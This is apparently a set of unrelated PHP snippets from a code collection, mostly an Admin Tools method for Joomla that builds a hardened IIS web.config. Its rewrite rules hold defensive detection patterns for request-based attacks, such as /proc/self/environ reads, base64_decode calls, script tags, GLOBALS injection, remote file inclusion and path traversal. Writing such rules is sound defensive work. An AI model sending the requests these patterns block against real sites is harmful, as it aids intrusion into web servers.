it to the file.\n $file->addTextForElement(\n $textElement,\n $pdfTextPlugin->pdfToText(FILES_DIR . '/original/' . $file->filename)\n );\n $file->save();\n*/\n // Prevent memory leaks.\n release_object($file);\n }\n $pageNumber++;\n }\n// file_put_contents('/tmp/bleent10', $spleen);\n }", "private function printToolHead() {\n\t\t\t$this->page->openBlock('div', 'iw-content');\n\t\t\t$this->page->addInline('p', 'This tool generates reports about wikilinks in one article:');\n\t\t\t$this->page->openBlock('ul');\n\t\t\t$this->page->addInline('li', 'Links from given article which have no backlinks from target article');\n\t\t\t$this->page->addInline('li', 'Backlinks from other articles which have no links from given article');\n\t\t\t$this->page->addInline('li', 'Links from given article with backlinks from other articles');\n\t\t\t$this->page->closeBlock();\n\t\t\t$this->page->addInline('h2', 'Options');\n\t\t\t\n\t\t\t// options\n\t\t\t$optionForm = new HtmlForm('index.php', 'GET');\n\t\t\t$optionForm->addHTML('<table class=\"iw-nostyle\">');\n\t\t\t\n\t\t\t// lang/project\n\t\t\t$optionForm->addHTML('<tr><td>');\n\t\t\t$optionForm->addLabel('lang', 'Project');\n\t\t\t$optionForm->addHTML('</td><td>');\n\t\t\t$optionForm->addInput('lang', $this->par['lang'], '', 7, true);\n\t\t\t$optionForm->addHTML('&nbsp;.&nbsp;');\n\t\t\t$optionForm->addInput('project', $this->par['project'], '', 20, true);\n\t\t\t$optionForm->addHTML('&nbsp;.org</td></tr>');\n\t\t\t\n\t\t\t// page\n\t\t\t$optionForm->addHTML('<tr><td>');\n\t\t\t$optionForm->addLabel('page', 'Page title');\n\t\t\t$optionForm->addHTML('</td><td>');\n\t\t\t$optionForm->addInput('page', $this->par['page'], 'A page title in the main namespace (0)', 0, true);\n\t\t\t$optionForm->addHTML('</td></tr>');\n\t\t\t\n\t\t\t// submit button\n\t\t\t$optionForm->addHTML('<tr><td colspan=\"2\">');\n\t\t\t$optionForm->addButton('submit', 'View page conjunction');\n\t\t\t$optionForm->addHTML('</td></tr>');\n\t\t\t\n\t\t\t$optionForm->addHTML('</table>');\n\t\t\t$optionForm->output();\n\t\t\t\n\t\t\t$this->page->closeBlock();\n\t\t}", "function createOverviewList($htmFileName,$filelist,$langList){\n\techo \"\\n\\n=============================\\n\";\n\techo \"Creating overview at $htmFileName\\n\";\n\techo \"=============================\\n\";\n\t$out = \"\";\n\t//loop through the files\n\tforeach ($filelist as $file){\n\t\t$filenamepart=explodeFile($file);\n\t\techo \"-----------------------------\\n\";\n\t\techo \"File $file\\n\";\n\t\techo \"-----------------------------\\n\";\n\t\techo \"* Reading original at $file\\n\";\n\t\t$out.=\"<h1>$file</h1>\";\n\t\t$out.=\"<h2>Original</h2>\";\n\t\t$out.=file_get_contents($file);\n\t\t$out.=htmlSeparator();\n\t\t//loop through the languages\n\t\tforeach ($langList as $key){\n\t\t\t$langFile=$filenamepart[0].\"$key/\".$filenamepart[1];\n\t\t\techo \"* Reading language $key at $langFile\\n\";\n\t\t\t$out.=\"<h2>Language: $key</h2>\";\n\t\t\t$out.=file_get_contents($langFile);\n\t\t\t$out.=htmlSeparator();\n\t\t}\n\t}\n\t$out=htmlHeader(\"Overview list\").$out.htmlFooter();\n\tfile_put_contents($htmFileName,$out);\n}", "function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t\t// Draw the header.\n\t\t$this->doc = t3lib_div::makeInstance('mediumDoc');\n\t\t$this->doc->backPath = $BACK_PATH;\n\t\t$this->doc->form='<form action=\"\" method=\"POST\">';\n\n\t\t\t// JavaScript\n\t\t$this->doc->JScode = '\n\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\tscript_ended = 0;\n\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\tdocument.location = URL;\n\t\t\t\t}\n\t\t\t</script>\n\t\t';\n\n\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id,$this->perms_clause);\n\t\t$access = is_array($this->pageinfo) ? 1 : 0;\n\t\tif (($this->id && $access) || ($BE_USER->user['admin'] && !$this->id))\t{\n\t\t\tif ($BE_USER->user['admin'] && !$this->id)\t{\n\t\t\t\t$this->pageinfo=array('title' => '[root-level]','uid'=>0,'pid'=>0);\n\t\t\t}\n\n\t\t\t$headerSection = $this->doc->getHeader('pages',$this->pageinfo,$this->pageinfo['_thePath']).'<br>'.$LANG->sL('LLL:EXT:lang/locallang_core.php:labels.path').': '.t3lib_div::fixed_lgd_pre($this->pageinfo['_thePath'],50);\n\n\t\t\t$this->content.=$this->doc->startPage($LANG->getLL('title'));\n\t\t\t$this->content.=$this->doc->header($LANG->getLL('title'));\n\t\t\t$this->content.=$this->doc->spacer(5);\n\t\t\t$this->content.=$this->doc->section('',$this->doc->funcMenu($headerSection,t3lib_BEfunc::getFuncMenu($this->id,'SET[function]',$this->MOD_SETTINGS['function'],$this->MOD_MENU['function'])));\n\t\t\t$this->content.=$this->doc->divider(5);\n\n\n\t\t\t// Render content:\n\t\t\t$this->moduleContent();\n\n\n\t\t\t// ShortCut\n\t\t\tif ($BE_USER->mayMakeShortcut())\t{\n\t\t\t\t$this->content.=$this->doc->spacer(20).$this->doc->section('',$this->doc->makeShortcutIcon('id',implode(',',array_keys($this->MOD_MENU)),$this->MCONF['name']));\n\t\t\t}\n\t\t}\n\t\t$this->content.=$this->doc->spacer(10);\n\t}", "public function makeConfigFile()\n\t{\n\t\t// Make sure we are called by an expected caller\n\t\tServerTechnology::checkCaller($this->allowedCallersForMake);\n\n\t\tJLoader::import('joomla.utilities.date');\n\t\t\n\t\t$date = new Date();\n\t\t$tz = new DateTimeZone($this->container->platform->getUser()->getParam('timezone', $this->container->platform->getConfig()->get('offset', 'UTC')));\n\t\t$date->setTimezone($tz);\n\t\t$d = $date->format('Y-m-d H:i:s T', true);\n\t\t$version = ADMINTOOLS_VERSION;\n\n\t\t$webConfig = <<< XML\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!--\n\tSecurity Enhanced & Highly Optimized .web.config File for Joomla!\n\tautomatically generated by Admin Tools $version on $d\n\n\tAdmin Tools is Free Software, distributed under the terms of the GNU\n\tGeneral Public License version 3 or, at your option, any later version\n\tpublished by the Free Software Foundation.\n\n\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! IMPORTANT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\t!! !!\n\t!! If you get an Internal Server Error 500 or a blank page when trying !!\n\t!! to access your site, remove this file and try tweaking its settings !!\n\t!! in the back-end of the Admin Tools component. !!\n\t!! !!\n\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n-->\n<configuration>\n\t<system.webServer>\n\nXML;\n\n\t\t$config = $this->loadConfiguration();\n\n\t\tif ($config->fileorder == 1)\n\t\t{\n\t\t\t$webConfig .= <<< XML\n\t\t<!-- File execution order -->\n\t\t<defaultDocument enabled=\"true\">\n\t\t\t<files>\n\t\t\t\t<clear />\n\t\t\t\t<add value=\"index.php\" />\n\t\t\t\t<add value=\"index.html\" />\n\t\t\t\t<add value=\"index.htm\" />\n\t\t\t</files>\n\t\t</defaultDocument>\n\nXML;\n\t\t}\n\n\t\tif ($config->nodirlists == 1)\n\t\t{\n\t\t\t$webConfig .= <<< XML\n\t\t<!-- No directory listings -->\n\t\t<directoryBrowse enabled=\"false\" />\n\nXML;\n\t\t}\n\n\t\tif ($config->exptime == 1)\n\t\t{\n\t\t\t$setEtag = ($config->etagtype == 'none') ? 'setEtag=\"false\"' : '';\n\t\t\t$eTagInfo = ($config->etagtype == 'none') ? '// Send ETag: false (IIS only supports true/false for ETags)' : '';\n\n\t\t\t$webConfig .= <<< XML\n\t\t<!-- Optimal default expiration time $eTagInfo -->\n\t\t<staticContent>\n\t\t\t<clientCache cacheControlMode=\"UseMaxAge\" cacheControlMaxAge=\"01:00:00\" $setEtag />\n\t\t</staticContent>\n\nXML;\n\t\t}\n\n\t\tif ($config->autocompress == 1)\n\t\t{\n\t\t\t$webConfig .= <<<XML\n\t\t<urlCompression doStaticCompression=\"false\" doDynamicCompression=\"true\" />\n\t\t<httpCompression>\n\t\t\t<dynamicTypes>\n\t\t\t\t<clear />\n\t\t\t\t<add mimeType=\"text/*\" enabled=\"true\" />\n\t\t\t\t<add mimeType=\"message/*\" enabled=\"true\" />\n\t\t\t\t<add mimeType=\"application/xml\" enabled=\"true\" />\n\t\t\t\t<add mimeType=\"application/xhtml+xml\" enabled=\"true\" />\n\t\t\t\t<add mimeType=\"application/rss+xml\" enabled=\"true\" />\n\t\t\t\t<add mimeType=\"application/javascript\" enabled=\"true\" />\n\t\t\t\t<add mimeType=\"application/x-javascript\" enabled=\"true\" />\n\t\t\t\t<add mimeType=\"image/svg+xml\" enabled=\"true\" />\n\t\t\t\t<add mimeType=\"*/*\" enabled=\"false\" />\n\t\t\t</dynamicTypes>\n\t\t</httpCompression>\n\nXML;\n\t\t}\n\n\n\t\t$webConfig .= <<< XML\n\t\t<rewrite>\n\t\t\t<rules>\n\t\t\t\t<clear />\n\nXML;\n\n\t\tif (!empty($config->hoggeragents) && ($config->nohoggers == 1))\n\t\t{\n\t\t\t$conditions = '';\n\t\t\t$patternCache = array();\n\n\t\t\tforeach ($config->hoggeragents as $agent)\n\t\t\t{\n\t\t\t\t$patternCache[] = $agent;\n\n\t\t\t\tif (count($agent) < 10)\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$newPattern = implode('|', $patternCache);\n\t\t\t\t$conditions .= <<< XML\n<add input=\"{HTTP_USER_AGENT}\" pattern=\"$newPattern\" />\n\nXML;\n\t\t\t\t$patternCache = array();\n\t\t\t}\n\n\t\t\tif (count($patternCache))\n\t\t\t{\n\t\t\t\t$newPattern = implode('|', $patternCache);\n\t\t\t\t$conditions .= <<< XML\n\t\t\t\t\t\t<add input=\"{HTTP_USER_AGENT}\" pattern=\"$newPattern\" />\n\nXML;\n\t\t\t}\n\n\t\t\t$webConfig .= <<< XML\n\t\t\t\t<rule name=\"Common hacking tools and bandwidth hoggers block\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\".*\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAny\" trackAllCaptures=\"false\">\n$conditions\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"CustomResponse\" statusCode=\"403\" statusReason=\"Forbidden: Access is denied.\" statusDescription=\"You do not have permission to view this directory or page using the credentials that you supplied.\" />\n\t\t\t\t</rule>\n\nXML;\n\t\t}\n\n\t\tif ($config->autoroot)\n\t\t{\n\t\t\t$webConfig .= <<<XML\n\t\t\t\t<rule name=\"Redirect index.php to /\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^index\\.php$\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\">\n\t\t\t\t\t\t<add input=\"{THE_REQUEST}\" pattern=\"^POST\" ignoreCase=\"false\" negate=\"true\" />\n\t\t\t\t\t\t<add input=\"{THE_REQUEST}\" pattern=\"^[A-Z]{3,9}\\ /index\\.php\\ HTTP/\" ignoreCase=\"false\" />\n\t\t\t\t\t\t<add input=\"{HTTPS}>s\" pattern=\"^(1>(s)|0>s)$\" ignoreCase=\"false\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"Redirect\" url=\"http{C:2}://{HTTP_HOST}:{SERVER_PORT }/\" redirectType=\"Permanent\" />\n\t\t\t\t</rule>\n\nXML;\n\t\t}\n\n\t\tswitch ($config->wwwredir)\n\t\t{\n\t\t\tcase 1:\n\t\t\t\t// If I have a rewriteBase condition, I have to append it here\n\t\t\t\t$subfolder = trim($config->rewritebase, '/') ? trim($config->rewritebase, '/').'/' : '';\n\n\t\t\t\t// non-www to www\n\t\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"Redirect non-www to www\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^(.*)$\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\">\n\t\t\t\t\t\t<add input=\"{HTTP_HOST}\" pattern=\"^www\\.\" negate=\"true\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"Redirect\" url=\"http://www.{HTTP_HOST}/$subfolder{R:1}\" redirectType=\"Found\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t\t\tbreak;\n\n\t\t\tcase 2:\n\t\t\t\t// www to non-www\n\t\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"Redirect www to non-www\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^(.*)$\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\">\n\t\t\t\t\t\t<add input=\"{HTTP_HOST}\" pattern=\"^www\\.(.+)$\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"Redirect\" url=\"http://{C:1}/{R:1}\" redirectType=\"Found\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t\t\tbreak;\n\t\t}\n\n\t\tif (!empty($config->olddomain))\n\t\t{\n\t\t\t$domains = trim($config->olddomain);\n\t\t\t$domains = explode(',', $domains);\n\t\t\t$newdomain = $config->httphost;\n\n\t\t\tforeach ($domains as $olddomain)\n\t\t\t{\n\t\t\t\t$olddomain = trim($olddomain);\n\t\t\t\t$originalOldDomain = $olddomain;\n\n\t\t\t\tif (empty($olddomain))\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$olddomain = $this->escape_string_for_regex($olddomain);\n\n\t\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"Redirect old to new domain ($originalOldDomain)\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"(.*)\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\">\n\t\t\t\t\t\t<add input=\"{HTTP_HOST}\" pattern=\"^$olddomain\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"Redirect\" url=\"http://$newdomain/{R:1}\" redirectType=\"Found\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($config->httpsurls))\n\t\t{\n\t\t\t$webConfig .= \"<!-- Force HTTPS for certain pages -->\\n\";\n\t\t\tforeach ($config->httpsurls as $url)\n\t\t\t{\n\t\t\t\t$urlesc = '^' . $this->escape_string_for_regex($url) . '$';\n\t\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"Force HTTPS for $url\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^$urlesc$\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAny\">\n\t\t\t\t\t\t<add input=\"{HTTPS}\" pattern=\"0\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"Redirect\" url=\"https://{$config->httpshost}/$url\" redirectType=\"Found\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t\t}\n\t\t}\n\n\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"Block out some common exploits\">\n\t\t\t\t\t<match url=\".*\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAny\" trackAllCaptures=\"false\">\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"proc/self/environ\" ignoreCase=\"false\" />\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"mosConfig_[a-zA-Z_]{1,21}(=|\\%3D)\" ignoreCase=\"false\" />\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"base64_(en|de)code\\(.*\\)\" ignoreCase=\"false\" />\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"(&lt;|%3C).*script.*(>|%3E)\" />\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"GLOBALS(=|\\[|\\%[0-9A-Z]{0,2})\" ignoreCase=\"false\" />\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"_REQUEST(=|\\[|\\%[0-9A-Z]{0,2})\" ignoreCase=\"false\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"CustomResponse\" url=\"index.php\" statusCode=\"403\" statusReason=\"Forbidden\" statusDescription=\"Forbidden\" />\n\t\t\t\t</rule>\n\nEND;\n\n\t\tif ($config->fileinj == 1)\n\t\t{\n\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"File injection protection\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\".*\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAny\" trackAllCaptures=\"false\">\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"[a-zA-Z0-9_]=http://\" ignoreCase=\"false\" />\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"[a-zA-Z0-9_]=(\\.\\.//?)+\" ignoreCase=\"false\" />\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"[a-zA-Z0-9_]=/([a-z0-9_.]//?)+\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"CustomResponse\" statusCode=\"403\" statusReason=\"Forbidden\" statusDescription=\"Forbidden\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t}\n\n\t\t$webConfig .= \" <!-- Advanced server protection rules exceptions -->\\n\";\n\n\t\tif (!empty($config->exceptionfiles))\n\t\t{\n\t\t\t$ruleCounter = 0;\n\n\t\t\tforeach ($config->exceptionfiles as $file)\n\t\t\t{\n\t\t\t\t$ruleCounter++;\n\t\t\t\t$file = '^' . $this->escape_string_for_regex($file) . '$';\n\t\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"Advanced server protection rules exception #$ruleCounter\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"$file\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\" />\n\t\t\t\t\t<action type=\"None\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($config->exceptiondirs))\n\t\t{\n\t\t\t$ruleCounter = 0;\n\n\t\t\tforeach ($config->exceptiondirs as $dir)\n\t\t\t{\n\t\t\t\t$ruleCounter++;\n\t\t\t\t$dir = trim($dir, '/');\n\t\t\t\t$dir = $this->escape_string_for_regex($dir);\n\t\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"Allow access to folders except .php files #$ruleCounter\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^$dir/\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\">\n\t\t\t\t\t\t<add input=\"{REQUEST_FILENAME}\" pattern=\"(\\.php)$\" ignoreCase=\"false\" negate=\"true\" />\n\t\t\t\t\t\t<add input=\"{REQUEST_FILENAME}\" matchType=\"IsFile\" ignoreCase=\"false\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"None\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($config->fullaccessdirs))\n\t\t{\n\t\t\t$ruleCounter = 0;\n\n\t\t\tforeach ($config->fullaccessdirs as $dir)\n\t\t\t{\n\t\t\t\t$ruleCounter++;\n\t\t\t\t$dir = trim($dir, '/');\n\t\t\t\t$dir = $this->escape_string_for_regex($dir);\n\t\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"Allow access to folders, including .php files #$ruleCounter\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^$dir/\" ignoreCase=\"false\" />\n\t\t\t\t\t<action type=\"None\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t\t}\n\t\t}\n\n\t\tif ($config->phpeaster == 1)\n\t\t{\n\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"PHP Easter Egg protection\">\n\t\t\t\t\t<match url=\".*\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\">\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"\\=PHP[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"CustomResponse\" statusCode=\"403\" statusReason=\"Forbidden\" statusDescription=\"Forbidden\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t}\n\n\t\tif ($config->backendprot == 1)\n\t\t{\n\t\t\t$bedirs = implode('|', $config->bepexdirs);\n\t\t\t$betypes = implode('|', $config->bepextypes);\n\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"Back-end protection - allow administrator login\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^administrator/?$\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\" />\n\t\t\t\t\t<action type=\"None\" />\n\t\t\t\t</rule>\n\t\t\t\t<rule name=\"Back-end protection - allow administrator login, alternate\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^administrator/index\\.(php|html?)$\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\" />\n\t\t\t\t\t<action type=\"None\" />\n\t\t\t\t</rule>\n\t\t\t\t<rule name=\"Back-end protection - allow access to static media files\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^administrator/($bedirs)/.*\\.($betypes)$\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\" />\n\t\t\t\t\t<action type=\"None\" />\n\t\t\t\t</rule>\n\t\t\t\t<rule name=\"Back-end protection - Catch all\">\n\t\t\t\t\t<match url=\"^administrator/\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\" />\n\t\t\t\t\t<action type=\"CustomResponse\" statusCode=\"403\" statusReason=\"Forbidden\" statusDescription=\"Forbidden\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t}\n\n\t\tif ($config->frontendprot == 1)\n\t\t{\n\t\t\t$fedirs = implode('|', $config->fepexdirs);\n\t\t\t$fetypes = implode('|', $config->fepextypes);\n\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"Front-end protection - allow access to static media files\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^($fedirs)/.*\\.($fetypes)$\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\" />\n\t\t\t\t\t<action type=\"None\" />\n\t\t\t\t</rule>\n\t\t\t\t<rule name=\"Front-end protection - Do not block includes/js\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^includes/js/\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\" />\n\t\t\t\t\t<action type=\"None\" />\n\t\t\t\t</rule>\n\t\t\t\t<rule name=\"Front-end protection - Block access to certain folders\">\n\t\t\t\t\t<match url=\"^($fedirs)/\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\" />\n\t\t\t\t\t<action type=\"CustomResponse\" statusCode=\"403\" statusReason=\"Forbidden\" statusDescription=\"Forbidden\" />\n\t\t\t\t</rule>\n\t\t\t\t<rule name=\"Front-end protection - Block access to certain folders, part 2\">\n\t\t\t\t\t<match url=\"^(cache|includes|language|logs|log|tmp)/\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\" />\n\t\t\t\t\t<action type=\"CustomResponse\" statusCode=\"403\" statusReason=\"Forbidden\" statusDescription=\"Forbidden\" />\n\t\t\t\t</rule>\n\t\t\t\t<rule name=\"Front-end protection - Forbid access to leftover Joomla! files\">\n\t\t\t\t\t<match url=\"^(configuration\\.php|CONTRIBUTING\\.md|htaccess\\.txt|joomla\\.xml|LICENSE\\.txt|phpunit\\.xml|README\\.txt|web\\.config\\.txt)\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\" />\n\t\t\t\t\t<action type=\"CustomResponse\" statusCode=\"403\" statusReason=\"Forbidden\" statusDescription=\"Forbidden\" />\n\t\t\t\t</rule>\n\t\t\t\t<rule name=\"Front-end protection - Block access to all PHP files except index.php\">\n\t\t\t\t\t<match url=\"(.*\\.php)$\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\">\n\t\t\t\t\t\t<add input=\"{REQUEST_FILENAME}\" pattern=\"(\\.php)$\" ignoreCase=\"false\" />\n\t\t\t\t\t\t<add input=\"{REQUEST_FILENAME}\" pattern=\"(/index?\\.php)$\" ignoreCase=\"false\" negate=\"true\" />\n\t\t\t\t\t\t<add input=\"{REQUEST_FILENAME}\" matchType=\"IsFile\" ignoreCase=\"false\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"CustomResponse\" statusCode=\"403\" statusReason=\"Forbidden\" statusDescription=\"Forbidden\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t}\n\n\t\tif ($config->leftovers == 1)\n\t\t{\n\t\t\t$webConfig .= <<<END\n\t\t\t\t<rule name=\"Front-end protection - Block access to common server configuration files\">\n\t\t\t\t\t<match url=\"^(htaccess\\.txt|configuration\\.php-dist|php\\.ini|.user\\.ini|web\\.config|web\\.config\\.txt)$\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\" />\n\t\t\t\t\t<action type=\"CustomResponse\" statusCode=\"403\" statusReason=\"Forbidden\" statusDescription=\"Forbidden\" />\n\t\t\t\t</rule>\n\nEND;\n\t\t}\n\n\t\t$webConfig .= <<< XML\n\t\t\t\t<rule name=\"Joomla! SEF Rule 1\" stopProcessing=\"true\">\n\t\t\t\t\t<match url=\"^(.*)$\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAny\" trackAllCaptures=\"false\">\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"base64_encode[^(]*\\([^)]*\\)\" ignoreCase=\"false\" />\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"(>|%3C)([^s]*s)+cript.*(&lt;|%3E)\" />\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"GLOBALS(=|\\[|\\%[0-9A-Z]{0,2})\" ignoreCase=\"false\" />\n\t\t\t\t\t\t<add input=\"{QUERY_STRING}\" pattern=\"_REQUEST(=|\\[|\\%[0-9A-Z]{0,2})\" ignoreCase=\"false\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"CustomResponse\" url=\"index.php\" statusCode=\"403\" statusReason=\"Forbidden\" statusDescription=\"Forbidden\" />\n\t\t\t\t</rule>\n\t\t\t\t<rule name=\"Joomla! SEF Rule 2\">\n\t\t\t\t\t<match url=\"(.*)\" ignoreCase=\"false\" />\n\t\t\t\t\t<conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\">\n\t\t\t\t\t\t<add input=\"{URL}\" pattern=\"^/index.php\" ignoreCase=\"true\" negate=\"true\" />\n\t\t\t\t\t\t<add input=\"{REQUEST_FILENAME}\" matchType=\"IsFile\" ignoreCase=\"false\" negate=\"true\" />\n\t\t\t\t\t\t<add input=\"{REQUEST_FILENAME}\" matchType=\"IsDirectory\" ignoreCase=\"false\" negate=\"true\" />\n\t\t\t\t\t</conditions>\n\t\t\t\t\t<action type=\"Rewrite\" url=\"index.php\" />\n\t\t\t\t</rule>\n\n\t\t\t</rules>\n\nXML;\n\n\t\tif ($config->noserversignature == 1)\n\t\t{\n\t\t\t$webConfig .= <<< XML\n\t\t<!-- Remove IIS version signature -->\n\t\t<outboundRules>\n\t\t <rule name=\"Remove RESPONSE_Server\">\n\t\t\t<match serverVariable=\"RESPONSE_Server\" pattern=\".+\" />\n\t\t\t<action type=\"Rewrite\" value=\"MYOB\" />\n\t\t </rule>\n\t\t</outboundRules>\n\nXML;\n\t\t}\n\n\t\t$webConfig .= <<< XML\n\t\t</rewrite>\n\t\t<httpProtocol>\n\t\t\t<customHeaders>\n\nXML;\n\n\t\tif ($config->clickjacking == 1)\n\t\t{\n\t\t\t$webConfig .= <<< ENDCONF\n\t\t\t\t<!-- Protect against clickjacking / Forbid displaying in FRAME -->\n\t\t\t\t<add name=\"X-Frame-Options\" value=\"SAMEORIGIN\" />\n\nENDCONF;\n\t\t}\n\n\t\tif ($config->reducemimetyperisks == 1)\n\t\t{\n\t\t\t$webConfig .= <<< XML\n\t\t\t\t<!-- Reduce MIME type security risks -->\n\t\t\t\t<add name=\"X-Content-Type-Options\" value=\"nosniff\" />\n\nXML;\n\t\t}\n\n\t\tif ($config->reflectedxss == 1)\n\t\t{\n\t\t\t$webConfig .= <<< XML\n\t\t\t\t<!-- Reflected XSS prevention -->\n\t\t\t\t<add name=\"X-XSS-Protection\" value=\"1; mode=block\" />\n\nXML;\n\t\t}\n\n\t\tif ($config->noserversignature == 1)\n\t\t{\n\t\t\t$webConfig .= <<< XML\n\t\t\t\t<!-- Remove IIS and PHP version signature -->\n\t\t\t\t<remove name=\"X-Powered-By\" />\n\t\t\t\t<add name=\"X-Powered-By\" value=\"MYOB\" 